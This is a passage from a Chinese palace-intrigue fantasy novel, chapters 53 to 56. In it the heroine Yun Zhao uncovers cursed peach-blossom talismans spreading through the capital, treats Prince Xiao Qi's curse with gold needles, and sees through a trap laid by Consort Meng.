她胸口剧烈起伏,却半个字也无从反驳,只能死死咬着下唇,尝尽**的血腥味。
人群之中的姜绾心,看着云昭从容不迫掌控全局的姿态,看着安王妃卑微乞怜的可笑模样,再想到萧启即将到来,心中嫉恨的毒火几乎要将她吞噬殆尽!
她猛地深吸一口气,脸上堆起恰到好处的忧急,扬声规劝道:“阿姊,得饶人处且饶人吧!”
“王妃已然放下身段赔礼道歉了,阿姊又何苦非要惊动秦王殿下,来为这点女儿家的私怨撑腰壮势呢?”
她目光扫过众人,缓声道:“如今谁人不知,殿下新近蒙受皇恩,加封‘代天巡狩黜陟使’,可监察百官,复审天下刑狱,连三司都要避其锋芒!
阿姊这般蛊惑殿下,欺凌宗亲,此事若是传扬出去,岂非徒惹非议,说我们云家……不懂规矩,带累殿下清誉呀!”
第53章 没脑子的疯狗
须知,在满京城待字闺中的少女心中,那个最高不可攀的梦中良人,并非如今的东宫太子,
而是那位战功赫赫,私德清谨,从未沾染半分桃色传闻的秦王殿下。
因而姜绾心这话一出,在场不少年轻贵女再看向云昭的眼神,立即便掺入了难以言说的复杂情绪。
有嫉,有羡;有审视,也有不屑。
“心儿妹妹别上火。”宋白玉走上前柔声劝道,“我想云昭妹妹也只是气头上的话,这等小事,怎好劳动秦王殿下金躯?”
云昭目光淡淡扫向门口,只见小丫头雪信的身影如狸猫般一闪即过。
安王妃此刻已是方寸大乱,哀声恳求道:“姜小姐!你方才提的两个条件,我一概应允!
长公主殿下在此可为见证,我绝不反悔!求你别再耽搁,快救救倩波吧!这人命关天,绝非儿戏啊!”
云昭神色平静,语调甚至带着一丝慵懒:“我说要去请秦王殿下,可并没说不救郡主。诸位,究竟在慌什么?又在急什么?”
她的目光从焦灼不安的安王妃,缓缓移到姜绾心那张梨花带雨的脸上,忽然莞尔一笑,只是那笑意未达眼底:
“倒是妹妹你,今日你几次三番在安王妃面前故意挑唆,句句都将火引到我身上。倒让我好奇,妹妹是否与郡主中咒之事,有什么旁人不知的牵连?”
此言一出,安王妃狐疑的目光,刀子般刮向姜绾心。
姜绾心脸色“唰”的惨白如纸,慌忙摆手:“不!不是我!我方才到时,郡主已然吐血昏迷了!阿姊怎能如此污蔑我?”
她急急辩解,吓得声音都变了调。
谁人不知,这安王妃素来跋扈,就是条没脑子的疯狗,惹急了逮谁咬谁。
她只是想煽风点火,可不想引火烧身!
然而,经云昭这么轻飘飘一点,安王妃已从最初的慌乱中冷静下来。
她稍一思忖,便意识到今日之事处处透着蹊跷。
女儿虽骄纵任性,若非有人从旁怂恿撺掇,未必会如此不管不顾地针对这姜云昭。
想到此处,她看向姜绾心的眼神愈发尖锐,目光带着狠戾扫视过众人,一字一句道:
“若叫我查出是谁在背后捣鬼,撺掇我儿,我定要她好看!”
云昭转而看向那跪地发抖的婢女:“你说清楚,这桃花符,究竟从何而来?”
那婢女哭得上气不接下气:“是……是上月,郡主在街上,不小心撞翻了一个婆子的菜篮,那婆子说与郡主有缘,就送了这符……”
云昭闻言,只是冷冷一笑,并未言语。
安王妃怒不可遏,一巴掌扇了过去:“贱婢!还敢扯谎!倩波何等身份,岂会随意收下来路不明之物!”
确实,以南华郡主的性子,撞翻菜篮有可能,但欢天喜地收下陌生老妪的馈赠?委实荒谬!
那婢女被打得歪倒在地,捂着脸哭喊道:“奴婢不敢胡说!
是那婆子说能窥见郡主心中倾慕某位贵人,此符乃月老座下仙物,可助她得偿夙愿……
郡主这才动了心,非但收了符,还赏了那婆子一锭黄金!
那婆子随后又送了郡主一个墨玉雕的小人,要郡主请回房中,日日诚心供奉,方能见效……”
她话音未落,旁边的老嬷嬷已骇然失声:“可是郡主前些日子神秘兮兮请回来,藏在绣房内室、日日焚香祷告的那个什么‘桃花仙人’?”
婢女涕泪交加,拼命点头。
安王妃听得心惊肉跳,几乎晕厥,疯狂催促下人立刻快马加鞭回府去取那邪物。
她转过身,抓住云昭的衣袖,声音发颤:“姜小姐,那‘桃花仙人’,到底是何物?”
云昭盯着桌上摊开的符咒,看了片刻,低声道:“南华郡主,这是得罪了个极厉害的角色。”
她声音不高,但在落针可闻的静室中,却清晰传入每个人耳中。
安王妃心头一紧:“此话怎讲?”
就在这时,先前那个胆子小的妇人道:“姜、姜小姐……我前些日子也从个游方婆子那儿买过一道符,您能帮我瞧瞧吗?”
众人目光齐刷刷看向她。
妇人身旁的友人扯她袖子,低声道:“你都成亲三年了,瞎凑什么热闹!”
那妇人臊得满脸通红,声如蚊蚋:“我这不是桃花符,是……是……”
英国公夫人忍不住扶额斥道:“我说康乐伯夫人!这都什么时候了,你还在这墨迹!是脸面要紧,还是小命要紧!”
那妇人被说得无地自容,索性眼一闭心一横,如实道:
“那卖符的婆子说,此符名为‘同心符’,佩戴此符七七四十九日,便能令夫君收心,眼中唯有我一人!”
此言一出,室内先是死寂,随即响起一片压抑的哗然!
紧接着,仿佛打开了某个隐秘的闸门,人群中又有一个少女怯生生道:“我、我也买过桃花符。”
“我也是……”
三三两两的,竟有七八个女子,或未婚,或已婚,都站了出来,面露惊惶。
未婚女子手中多是与南华郡主如出一辙的艳粉色桃花符,而已婚妇人拿出的,则是深蓝色的所谓“同心符”。
众女纷纷将符咒放到云昭面前的案上。
云昭逐一用**挑开查验,只见桃红色的桃花符内,皆藏着几截乌黑干枯的细骨;
而深蓝色的同心符里,则是一小块干瘪皲裂、刻着诡异纹路的龟甲。
一股混杂着腐朽与阴邪的气息在室内弥漫开来,令人作呕。
安王妃也看出了关键,急问:“为何她们的符咒里,都没有南华符中那团秽发?”
“这还不明白吗?”李灼灼嘴快道,“说明南华郡主那个是特制的呗!独一份儿的‘厚待’!”
安王妃此刻顾不上计较李灼灼话里的讽刺,只觉一股寒意从心底升起,揪心道:“到底是何人,要如此处心积虑地害我儿性命!”
云昭却在思量另一件事。
她与秦王初识那日,便用金针辅以玄门秘术,暂时压制了他体内那霸道诡异的桃花煞。
如今,京中竟也悄然流传开这等蕴含相似煞气的符咒……
这会是巧合吗?
她沉声问众人:“你们都是在何时何地购得此符?”
“约莫十日前
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,在西市口。”
“我有半个月了,是个走街串巷的老婆子。”
南华郡主的贴身婢女哭丧着脸道:“昨晚郡主还掐着手指算,说今日正好是第四十九日,大功告成之时……”
安王妃听到“第四十九日”,眼前一黑,几乎瘫软在地。
云昭若有所思。
她为秦王压制桃花煞的日子,与这些符咒最开始流传的时间,竟惊人的吻合!
正思绪纷乱间,安王府的下人满头大汗地狂奔而入,怀中紧紧抱着一个用黑布严密包裹的物件。
众人心知那便是邪门的“桃花仙人”,不由屏息凝神,紧张望去。
云昭拿过李灼灼那柄**,用刀尖挑开黑布——
只见里面赫然是一个巴掌大小、雕工诡异的墨玉小人!
那小人眉眼模糊,唯独嘴角咧开一个极大的弧度,双手捧着一枝姿态扭曲的桃花,妖异之气扑面而来。
“啊!”有胆小的贵女当即骇得掩唇惊叫,“这、这东西好生邪门!”
“我浑身汗**都竖起来了!”
安王妃拽着云昭的衣袖催促:“快!快把这邪物处置了!是不是把它砸了,倩波就能醒过来?”
云昭却未理会,她将那墨玉小人儿翻转过来,凝视其底部。
只见底部并非光洁的玉面,而是刻满了细密如虫爬的符文,符文中心,竟嵌着一缕极细的青丝!
青丝与符文纠缠,仿佛生长在了一起。
云昭瞳孔微缩,猛地抬首:“你还有隐瞒?”
那婢女被喝得一颤,茫然道:“没,婢子没有……”
云昭逼问:“郡主可曾给过那人自身之物?”
“真没有……”那婢女吓得六神无主,拼命回忆,忽然,她脸色泛白,“是,是临走时!郡主的发丝不小心勾缠在了那婆子的破篮子上。
婆子当时笑着说‘缘分难得’,直接掏出剪刀,‘将那绺头发剪了下来。郡主当时不大高兴,就说了句‘给你便是’!”
她喃喃道:“奴婢当时觉得古怪,可……可怎竟把这事给忘了。”
闻空大师闻言叹了一声:“阿弥陀佛。”
云昭亦眸色沉凝。
好高深的咒术!好狡诈的手段!!
偏还遇上南华郡主这么个自以为是的蠢货!
云昭快步走到榻前,掀开南华郡主的眼皮,又撸起她的衣袖,示意安王妃来看那道已变得紫黑的赤线。
“此事并非我能解决了。”
安王妃如遭雷击,怒道:“你!你方才明明答应……”
云昭道:“若仅是他人下咒,我必能保她无虞。但现在是郡主开口答允,将自身发丝奉予他人!除非抓到施咒之人,否则强行破煞,郡主必遭反噬,顷刻殒命!”
安王妃已委顿在地,嚎啕大哭:我的儿啊!到底是哪个天杀的恶毒心肠要这般害你!”
她猛地扑过来,死死拽住云昭的裙摆,如同抓住最后一根稻草,“姜小姐!求你!你一定还有别的办法对不对?你一定有办法的!”
就在这时,一道清朗的男声自人群后响起:“何人报案,说这里治**人?”
第54章 跟他们这些有钱人拼了
云昭与众人循声望去,却见来人竟是京兆府尹赵悉。
众人纷纷见礼,赵悉摆了摆手:“本官今日常服外出,接到急报说寺内有贵女被庸医所害。今日寺中有宫中贵人在此祈福,岂容宵小作乱?”
他四下张望,声音提高,“那治**的庸医,现在何处?”
此言一出,满室皆惊。
云昭轻挑起唇角:““赵大人要找的庸医,可能正是在下。”
赵悉一怔,旋即唇角绽出一抹玩味的笑:“云小姐初入京城,人缘挺好啊!”
“赵大人。”长公主眉梢含怒:“此话从何说起?谁人报的案?”
安王妃亦强撑着站起,又惊又怒:“是谁在此刻报官?分明是不安好心!”
这时,人群中有几个与南华郡主交好的少女互相推搡着。
最终一人被推出来,怯生生道:“是……是郡主自己。”
“郡主说,要装得像真的一样,让我们其中一人去官府报案。”
她抬起眼瞟了云昭一眼,“说这样才能坐实姜小姐医术不精的罪名,让她再也无法在京城立足!”
安王妃眼前一黑,险些再次晕倒,厉声道:“说!你们几个,到底是谁撺掇郡主做这等蠢事的!从实招来,本王妃或可酌情宽宥!”
那几个少女却面面相觑:“郡主当时虽是这么说了,但我怕真惹来官府,事后难以收场,所以就没去。”
另一人也急忙道:“我也没去!”
“我也不敢!”
几人一对质,竟发现她们之中,根本无人前去报官!
那这报案之人,究竟是谁?目的何在?
赵悉“嘿”了一声,抚掌道:“合着本官今日是被这报假案的给涮了?真是岂有此理!”
云昭目光落在姜绾心脸上,见她亦是微微蹙眉,似在思索。
心中不由道:不是她。
撺掇南华郡主装死构陷自己的,多半是姜绾心无疑。
但眼前这环环相扣的死局,仅凭一个姜绾心,绝无此等手段和魄力。
且这符咒里的东西,也比梅柔卿之前的咒术高明何止十倍!
今日这棋局,不论徘徊在生死边缘的南华郡主,还是被迫在众人面前不得不自证的她自己,抑或是自以为得计等看好戏的姜绾心……
都已在无知无觉间,沦为他人手中的棋子!
云昭道:“赵大人虽被虚报引来,但如今南华郡主身中邪术、昏迷不醒却是实情。您也不算白跑一趟。”
赵悉顿时来了精神:“怎么回事儿?”他看向四周,“谁能给本官详细说说?”
“且此案不仅牵涉郡主一人,”云昭伸手一指桌上摊开的符咒,
“依民女看,赵大人还需尽快将那个在京城四处散播邪符的元凶捉拿归案,以免更多无辜女子受害。”
安王妃见状,便示意身旁知晓内情的老嬷嬷上前,将事情经过原原本本道出。
趁众人注意力都嬷嬷的讲述和赵悉的问询吸引,赵悉飞快则朝云昭递过一个眼色。
云昭微一蹙眉,对长公主低语两句,便借着人群的掩护,悄然朝门外退去。
安王妃和大多数人的心思都系在南华郡主离奇的中咒和那神秘的报案人身上,倒一时无人留意云昭的暂时离开。
唯独自始至终留意着云昭动静的姜绾心,将这一切尽收眼底。
她见云昭与赵悉似有默契,又见云昭独自外出,只略一迟疑,便悄无声息地挪动脚步,悄悄尾随而去。
*
云昭循着青石小径往前走去。
她不确定赵悉的眼神一定是这个意思,但雪信是她派去给秦王报信,且她方才在厢房查验那些邪物时,一个念头便如阴云般盘踞心头:
今日这桃花煞局,难道仅是为了引南华郡主煞气入体,并顺势栽赃给她吗?
会不会,萧启也……
眼前一道残影闪过,云昭还未看清,只觉腰间一紧,整个人便被一股不容抗拒的力量揽住,腾空而起。
片刻的天旋地转后,等她定下神,发现自己已被带至一棵枝叶繁茂的古树上。
耳畔传来男子灼热且压抑的吐息,萧启的嗓音低哑得不像话:“你这个妹妹,还真是阴魂不散。”
云昭朝下看去,果然瞧见姜绾心的身影鬼鬼祟祟从树下经过。
她四下张望片刻,竟还疑惑地朝树上瞥了几眼。
只可惜萧启深谙隐匿之道,选的这棵古树枝桠交错,浓荫如盖,从下方根本窥不见分毫。
姜绾心在树下转了几圈,像是觉得事有蹊跷,终是快步离去。
待那身影消失,云昭才察觉身后之人的异常。
他滚烫的体温透过薄薄衣衫传来,呼吸沉重而灼热。
“你怎知本王在此……”萧启的嗓音沙哑得几乎破碎,带着一种难以言喻的渴求。
云昭心知有异,侧过身仰头望去,不由一怔。
只见萧启冷白如玉的面庞,泛起不正常的潮红,细密的薄汗浸湿了额角鬓发。
那双平日寒潭般深邃的凤眸,此刻水光潋滟,眼尾泛红,眸底深处翻涌着隐忍而浓烈的情绪,直勾勾地锁在她脸上。
云昭正欲开口询问,却见萧启凝视着她,喉结滚动,沙哑问道:“今日……还要帮本王……摸吗?”
他似陷入某种回忆,低声道:“初见那日,你便是如此……”
云昭:“……”
她此刻严重怀疑,这桃花煞是否损及神智。她当日那是摸吗?那是帮他隔着衣衫定穴施针!
云昭忍不住挑起眉道:“殿下,您该不会真以为,我摸一下就能百病全消,摸两下,便可长命百岁吧?”
萧启闻言,竟低低笑了一声。
眼尾那抹红晕愈发妖冶,他嗓音喑哑:“若真如此……那敢情好。”
云昭顿觉无力:“……您赶紧放我下去,当务之急,得施针。”
萧启揽紧她的腰肢,足尖轻点枝叶,几个起落间,便轻车熟路地掠入一间陈设雅致清幽的禅房厢房。
云昭取出随身携带的金针,一边消毒一边道:“殿下今日运气不错。这套金针只差一点,便要先用在南华郡主身上了。”
萧启衣襟大敞倚在榻上,语气带着一丝冷意:“下次再遇此等情形,不必救她。”
云昭叹了口气,指尖拈起金针,精准落下:“未必有下次了。郡主如今昏迷不醒,危及性命。”
萧启从雪信那儿只听了前半段,并不知晓后续发生了什么,
此时听完云昭的讲述,他眸中渐渐凝起寒霜。
“此事是本王失策。不该听赵悉的,让他去寻你。”
云昭侧眸看了他一眼。
萧启道:“这幕后之人,分明是以我为饵,意在找出能解此煞之人。你方才当众消失,恐怕已然暴露。”
云昭却淡然一笑,手下运针如飞:“即便我今日对殿下袖手旁观,凭我在寺中查验符咒、直言不讳的举动,用不了多久也会传入那人耳中。
又或者,那人今日根本就在现场,盯着我的一举一动。暴露是迟早的事。”
萧启凝视着她平静的侧脸:“你倒真是不怕?”
云昭手下未停,语气从容:“若怕,从一开始,我便不会踏入这是非不断的京城。”
谈话间,一滴浓黑的污血自萧启指尖被逼出。
云昭蹙眉道:“殿下,此法只能暂时遏制煞气。若要根除,必须找到幕后施术之人。”
此时萧启呼吸已平顺许多,脸上潮红渐褪。
他目光深沉地看了云昭少顷,忽而从怀中取出一只小巧的紫檀木盒。
云昭正在收拾金针,见状不由失笑:“殿下不
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必再赠钗环了。上回那支发钗,已为我平添不少瞩目。”
萧启指尖摩挲着木盒边缘,道:“本王以为,你并非畏惧麻煩之人。”
云昭坦然回应:“不怕麻烦,与自寻烦恼,是两回事。”
萧启不再多言,打开木盒。
里面并非珠钗首饰,而是一只打造得极为精巧的玄铁袖箭机关。
箭身流畅,机关暗藏,泛着幽冷的金属光泽。
“青莲观一案还在追查中,那玉阳子,不过是个摆在明面的傀儡……”
萧启说到这,不再继续深说了。
玉阳子的丹药是如何在京城火起来的,那些死去的女子,为何死前会被挖空内脏,嘉乐郡主在上元灯会失踪,为何却死在了青莲观……
真相,仍然迷雾重重。
而他无法时刻护在她身边,唯愿她能多一分自保之力。
云昭果然被吸引,双眸微亮,好奇地拿起袖箭端详。
就在她研究机关时,萧启忽然起身。
他衣衫尚未收束,精壮的胸膛若隐若现。
从身后贴近,滚烫的身躯几乎将云昭笼罩,男子特有的清洌气息,从四面八方包裹而来。
他伸出手,略带薄茧的手指,轻轻覆上云昭的手背,引导她扣动机关暗扣:
“看这里,机括需扣到底,方能一击即发……”
云昭学会的同时,也后知后觉地意识到两人姿势过于亲密。
她立即向后退开一步,拉开距离:“多谢殿下。这份礼物,我收下了。”
她抬眸仔细观察萧启已然恢复清明的神色,心中暗忖:这桃花煞果然厉害!
竟能让素来冷峻自持的秦王殿下,心性浮动,举止……也略显异常。
恰在此时,门外传来两声轻叩,赵悉的声音隔着门板响起:“殿下,事态如何?”
萧启此时已衣冠整肃,恢复了往常的清冷模样,扬声道:“进。”
云昭朝二人颔首:“我先行一步。”
岂料赵悉竟眼巴巴地跟了上来,与她并肩而行,脸上堆着殷勤又好奇的笑:
“云小姐,听闻你不仅医术精湛,于符咒一道更是深有研究?”
他不待云昭回答,又凑近些,压低声音,满是期待地搓搓手:“不知能否也为我绘制一道灵符?”
他双眼放光,“就那种能让人耳聪目明、心思澄澈,断案之时如有神助的符咒!”
云昭“噗嗤”一声笑了出来。
赵悉见她这般反应,不由有些失望:“没有这种灵符吗?”
萧启低沉的声音便自身后传来:“她的符,一千两银子一张。”
他缓步走近,目光掠过云昭,最终落在赵悉脸上,“你买得起?”
赵悉闻言,非但没被吓退,反而震惊得瞪大眼睛,脱口而出:“一千两?!这么便宜?!”
他当即撸起袖子,一副要大干一场的架势,转向云昭热切道:
“云小姐!若真能绘出此等神符,先给我来个十张?咱们也算老相识了,请务必给我打个折扣!”
云昭:“……”
真想跟他们这些有钱人拼了。
就在这时,一个身着秋香色比甲的婢女脚步匆匆寻来,见到云昭,如同见了救星般疾步上前,福了一礼,声音带着哭腔:
“云姑娘!可算找到您了!求您快去看看吧!
长公主殿下忽然腹中绞痛难忍,脸色都白了!驸马爷急得不行,偏偏寺中暂住的两位太医都被贵妃娘娘请走了!”
她说着,目光怯怯地扫过一旁的萧启和赵悉,又慌忙低下头:
“殿下特意叮嘱奴婢,说秦王殿下在此的消息不宜张扬,以免节外生枝。
恳请殿下暂且回避,莫要随奴婢一同前往。
驸马爷此刻正陪着殿下,内外有别,也……也不便过多惊扰外男。”
第55章 一鞭之仇
云昭闻言,眉头轻蹙。
她追问:“长公主殿下现在何处?”
那婢女神色焦急,快声答道:“方才赵大人问完话,大家伙儿就散了。
殿下与苏淑人一同回了禅院,还用了一盏后厨送来的冰糖燕窝羹。谁只不过片刻,殿下便腹痛如绞!”
云昭追问:“我母亲也用了那羹汤?”
“苏淑人也用了。”婢女眼中流露出困惑,“说来也怪,苏淑人并无不适,唯独殿下疼痛难忍。”
她急得跺了跺脚,声音带了哭腔,“姑娘,快些吧!殿下近来本就心绪不佳,寝食难安,如今再添剧痛,奴婢真怕殿下撑不住啊!”
为保护小郡主清誉,寻回嘉乐郡主尸骸一事,一直未曾对外公布。是以近几天长公主殿下心绪不佳的事,只有公主府内自己人方才知晓。
云昭心中疑云稍褪。
她朝萧启和赵悉颔首:“殿下,赵大人,云昭失陪了。”
赵悉连忙摆手示意她快去,见萧启一直看着云昭离去的方向,不由笑道:
“这光天化日,佛门清净地,还能出什么岔子不成?”
萧启未置一词,目光却始终未离那渐行渐远的身影。
恰在此时,墨一身影如鬼魅般悄然出现,他躬身低语:“殿下,刚收到密报,在南边寻到了与青莲观相似的道观……”
萧启眉头紧锁,与赵悉对视一眼,终是沉声道:“走。”
*
婢女引着云昭穿过来时那片树林,踏上一条更为幽僻的小径。
四周静谧,只闻风吹竹叶的沙沙声。
云昭渐渐放缓脚步,凝视着前方婢女的背影,忽然开口:“我来时,走的不是这条路。”
那婢女身形微顿,回首挤出一个笑容:“姑娘有所不知,这条路虽偏僻些,却直通殿下的禅院,能省下一盏茶的工夫呢,殿下正难受着……”
说着,她又快步往前走去。
云昭蓦地停下脚步,不再前行,语气平淡无波地抛出一问:“锦屏姑姑被蜂蛰伤的手,可大好了?”
“太医瞧过了,说是已无大碍,只是指尖还略有些麻痹……”
婢女脱口而出,随即意识到失言,猛地住口,倏然转身,脸上血色尽褪。
而云昭也已彻底想起,究竟在何处见过这张脸——
正是那日初入孟贵妃的披香殿,偶见两个小宫女窃窃议论锦屏姑姑为保护贵妃,被蜂蛰伤之事,眼前此人,便是其中之一!
“姜大小姐果真聪慧敏锐,过目不忘。”
身侧不远处,竹林掩映间,传来孟贵妃慵懒间带着几分赞赏的声音。
那假冒的婢女立刻深深埋下头,疾步退入竹林深处,消失不见。
孟贵妃由宫人搀扶着,端坐在铺着锦垫的石凳上,好整以暇地望着云昭,唇角含着一抹意味深长的笑:
“听闻云姑娘不仅医术超群,更精通玄妙符箓之术,上次在披香殿,倒是本宫眼拙,未能识得真仙。”
云昭神色不变,淡笑道:“娘娘谬赞,民女愧不敢当。”
孟贵妃缓缓伸出手腕,一旁的宫人立刻在石桌上铺好柔软的脉枕。
“姜大小姐,”孟贵妃目光落在云昭脸上,带着不容拒绝的威仪,“请吧。”
云昭微微蹙眉,面露恰到好处的疑惑:“娘娘这是何意?”
“久闻姜大小姐医术通玄,”孟贵妃轻笑一声,指尖慵懒拂过袖口繁复的缠枝莲纹:
“本宫近来凤体违和,心中总是不安,便想劳烦姜大小姐,为本宫仔细请个平安脉。”
云昭冷眼瞧着,脚步未移分毫。
孟贵妃见状,黛眉倒竖,声音染上厉色:“怎么,本宫还使唤不动你了?”
云昭并未被其声势所慑,反而疑道:“娘娘莫非尚未听闻方才慈安殿附近的变故?”
孟贵妃微怔,摸不准云昭葫芦里卖的什么药,一时没说话。
云昭轻叹一声,语气带着几分沉重:
“南华郡主不知招惹了什么人,竟身中恶咒,如今昏迷不醒,性命垂危。安王妃悲痛欲绝,几近哭瞎了双眼。”
她缓缓抬起自己的双手,目光落在指尖,“臣女方才为探查郡主病情,这双手……不得已触碰了那些蕴含阴邪之气的巫蛊之物。”
云昭抬眸,看着孟贵妃骤然绷紧的面容,笑吟吟道:“娘娘若是不忌讳这个,臣女自然愿为娘娘效劳。
只是,万一那残余的阴煞之气不慎冲撞了娘娘,乃至影响了腹中龙胎的安稳……”
“放肆!”孟贵妃脸色一变,怒声斥断,“休得胡言乱语,危言耸听!”
云昭从容道:“臣女是否胡言,娘娘只需遣人前往前面稍加打听,便知真假。”
她故作姿态地四下望了望,“咦,心儿妹妹还未回来吗?”
她随即叹了口气,似是自语,又似是说给贵妃听,“说来也真是奇了。我这妹妹仿佛走到何处,都能引出些非同寻常的事端。
在宫中御花园便引来‘花神赐福’,今日在这佛门净地,又带累南华郡主昏迷不醒……真不知是该说她运气实在不佳,还是这其中……”
话未说完,但贵妃脸上已显出猜忌之色。
竹林不远处,一道白衣身影悄然隐没,紧握的拳头上青筋隐现。
云昭将视线从那方向收回,朝孟贵妃行了一礼:“贵妃娘娘雍容大气,慧眼如炬,必不会因为一时意气,而被有心之人利用,最终损及自身。”
云昭此言,意在点醒贵妃,与梅柔卿母女合作,不啻于与虎谋皮,终将反受其害。
说到此,云昭笑了笑:“不过,正如娘娘所知,臣女自幼流落山野,却也因祸得福,有幸窥得几分玄门正法的真传。
若遇心术不正之辈,臣女倒不介意与她较量一番,也叫她明白,何为‘邪不胜正’!”
这话说得可谓狂悖,但云昭正是要故意激怒梅柔卿。
一来,逼她失了方寸,仓促间露出马脚;
二来,更要借此印证,前世藏在姜珩背后,用尽阴毒手段折磨她的那个“高人”,究竟是不是梅氏!
孟贵妃心有不
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甘,却一时顾忌她方才话中暗示,只能眼睁睁看着云昭施施然离去。
*
身后,梅柔卿快步从暗处走出,来到贵妃身侧,压低声音道:“娘娘就这般轻易放她走了?万一明晚……”
孟贵妃正心烦意乱,听到此不由道:“心儿人呢?前院到底发生了何事?”
她朝身旁递了个眼色,两个婢女领命前去打探。
梅柔卿趁机进言:“娘娘,这个姜云昭巧舌如簧,最善狡辩脱罪,实在可恶。”
孟贵妃斜睇了梅柔卿一眼:“本宫怎么觉得,你似乎比本宫更急于置她于死地?怎么,那一鞭之仇,就让你恨到如此地步?”
梅柔卿沉默片刻,忽地跪了下来,声音轻柔,却带着一丝孤注一掷的悲凉:“妾身斗胆,妾身与娘娘的处境,原是一样的。”
“你大胆!”孟贵妃斥道。
梅柔卿抬起头,眼中含泪,情真意切:“妾身虽无正式名分,但这些年来与世安是真心相爱。
只因上头始终压着一位正室夫人,不得不忍气吞声,自己的亲生骨肉近在咫尺,却只能养在他人名下,不能相认。
这种不论多努力都要被人压一头的滋味,妾身以为……娘娘是能够体会的。”
孟贵妃眼神微动。
是啊,中宫那位虽长年避居清凉寺,看似不理俗务,但皇后的宝座终究稳稳占着。
她这个贵妃,名头再尊贵,说到底,与家中那些仰人鼻息的妾室又有何本质区别?不过是排场更大些罢了。
此事本就是孟贵妃心中的一根刺,此时被梅柔卿故意挑弄,不由激起了她心底潜藏多年的恨意!
梅柔卿见她神色松动,继续低声蛊惑:“娘娘如今离了皇宫,耳目不似宫中繁杂,正是天赐良机。”
贵妃蹙眉:“那老妇又不在此地,算什么良机?”
梅柔卿凑近几分,声音压得极低:“若能借此机会,一举铲除姜云昭与柔妃,连带让长公主颜面扫地……
只要闹出足够大的动静,皇后娘娘岂能还坐得住?必定会被惊动回京。”
梅柔卿眼中闪过算计的光芒:“她当初不就是自知斗不过娘娘您,才退居寺庙,博个清静贤德的名声吗?
待她真回了那四方宫墙,还不是任由娘娘您揉圆搓扁?”
这番话,真真儿说到了孟贵妃的心坎里,让她感到一种扭曲的快意。
她激赏地看了梅柔卿一眼,语气缓和不少:“这么多年,你是唯一一个,最能体察本宫心意的人。”
梅柔卿谦卑垂首:“妾身不敢。只是真心为娘娘谋划,才冒死直言。”
她顿了顿,又道,“不过,若要确保咱们的计划万无一失,妾身还需带一人进来相助。”
孟贵妃此刻已对她颇为倚重,爽快应允:“准了。需要何人,你自行安排便是。”
“是。”
梅柔卿躬身退下,眼底滑过一抹暗芒:姜云昭,当年你娘就是我的手下败将,二十年后我故技重施,定会让你落得比当年苏**更惨的结局!
第56章 经血和尸油
回到禅院,远远便见苏氏正立在院门处翘首以盼。
周嬷嬷笑着对云昭道:“姑娘可算回来了。老奴劝淑人同殿下一起在屋里等着,淑人却偏要在这风口站着,生怕错过姑娘回来。”
说着便转身,“老奴这就去禀告殿下,说姑娘回来了。”
苏氏一见云昭,立刻上前握住她的手,上下打量,眼中是掩不住的担忧:“昭儿,一切可还顺利?没受什么委屈吧?”
也不知怎的,从方才云昭离开,她的心就一直噗噗直跳,坐立难安。
掌心传来冰凉的触感,云昭反手将母亲的手握紧:“女儿无事。倒是母亲的手,怎的这样凉?”
苏氏轻轻摇头,目光慈爱又带着一丝复杂地看着她:“母亲病了这些年,与京中诸多往来都生疏了。
今日见你在安王妃那般咄咄逼人之下,依旧能从容应对,方知我的昭儿,早已不是需要母亲羽翼庇护的雏鸟,而是能独当一面的鹰隼了。哪怕是为了我儿,母亲也定要振作起来。”
秦王派人查实的密信,如同惊雷炸响,彻底惊醒了她这个沉溺于多年伤痛的梦中人。
自与女儿团聚,她满心只求与女儿安稳度日,但经此一事,她幡然醒悟,在这**的后宅乃至京城,若不争不抢、不自身强大,便只能任人宰割,连保护至亲都做不到!
感受到母亲振作起来的心神,云昭心中慰藉:“安王妃那边情形如何?”
苏氏道:“你走后,她闹着请了寺里的有悔大师去瞧,可有悔大师精于外科疮疡,对此等邪祟之事,束手无策。
她便又嚷嚷着要派人去京城各大寺院道观延请高人,闹得不可开交。
若非顾忌着两位娘娘在此清修,不宜过分惊扰,只怕她真要将这碧云寺掀个底朝天。”
苏氏语气平稳,却将后续情形观察得细致入微,已然开始为女儿留意各方动向。
母女俩挽着手臂走进院落,只见左右不见平日侍立的婢女,唯有周嬷嬷静候在廊下。
见她们前来,周嬷嬷无声地福了一礼,轻轻打起内室的锦帘。
帘栊掀动间,一道清柔含笑的嗓音便流淌出来:“云小姐心思玲珑,见识卓绝,处事更是沉稳有度。
放眼京城,如她这般年纪便有如此慧心胆识的,也是凤**麟角。”
是柔妃的声音。
云昭缓步走入,见长公主与柔妃正对坐在窗下的紫檀榻上。
长公主眉宇间凝着一丝不易察觉的焦躁,指节无意识地轻叩着桌面;
一旁的柔妃却依旧是那副浅笑盈盈的模样,眸光流转间不见半分慌乱。
见她们进来,长公主含笑问道:“事情办得可还顺利?”她知云昭是去见了萧启商议要事,故而一直耐心等待,未曾催促。
云昭微顿,略一斟酌才道:“本应早些回来复命,只是途中……”
她目光若有似无地扫过柔妃,继续道,“被贵妃娘娘半途‘请’了去。”
柔妃闻言,纤细的眉梢轻轻一挑,唇角漾开一抹了然:“贵妃姐姐还是这般,半点沉不住气。”
长公主面色骤然一沉,指节扣在茶盏上:“她又想出什么幺蛾子?”
云昭沉吟道:“她命人假扮成义母院里的婢女,谎称义母用了小厨房送的燕窝羹后突发急症,将我诱至后山竹林僻静处。
说是……要让我为她请个平安脉。”
“荒唐!”长公主勃然斥道,“她如今是连脸面都不要了!昭儿,你可曾为她诊脉……?”
云昭摇头:“我借南华郡主中煞之事,暂且将她唬住了。但观贵妃神色,只怕她很快又会按捺不住。”
提及南华郡主,长公主更是气不打一处来,冷哼一声:“一个两个的,本事不大,作死的能耐倒是不小!”
她当初也是急昏了头,一心惦记着贵妃肚子里那点蹊跷,这才主动揽下这烫手山芋。
如今倒好,入寺尚不足一日,连晌午都未过!
这些人便按捺不住,一个个争着跳出来兴风作浪,真真是按下葫芦浮起瓢,没个消停!
柔妃嫣然一笑,看向长公主,语气带着几分预料之中的意味:“殿下,这便是嫔妾方才所忧。只不过,姐姐的动作,比嫔妾预想的还要急切不少。”
长公主朝云昭招手:“昭儿,你过来看看这个。”
云昭依言上前,苏氏见长公主未有阻拦之意,也轻步跟上。
只见上面赫然摆放着两样物事:
一个是被利刃挑开、露出内里药材的锦缎药囊,针脚细密,显然是宫中之物;
另一样,则是一条颜色暗沉、带着可疑污渍的暗红色绢帕,隐隐散发着一股阴寒之气。
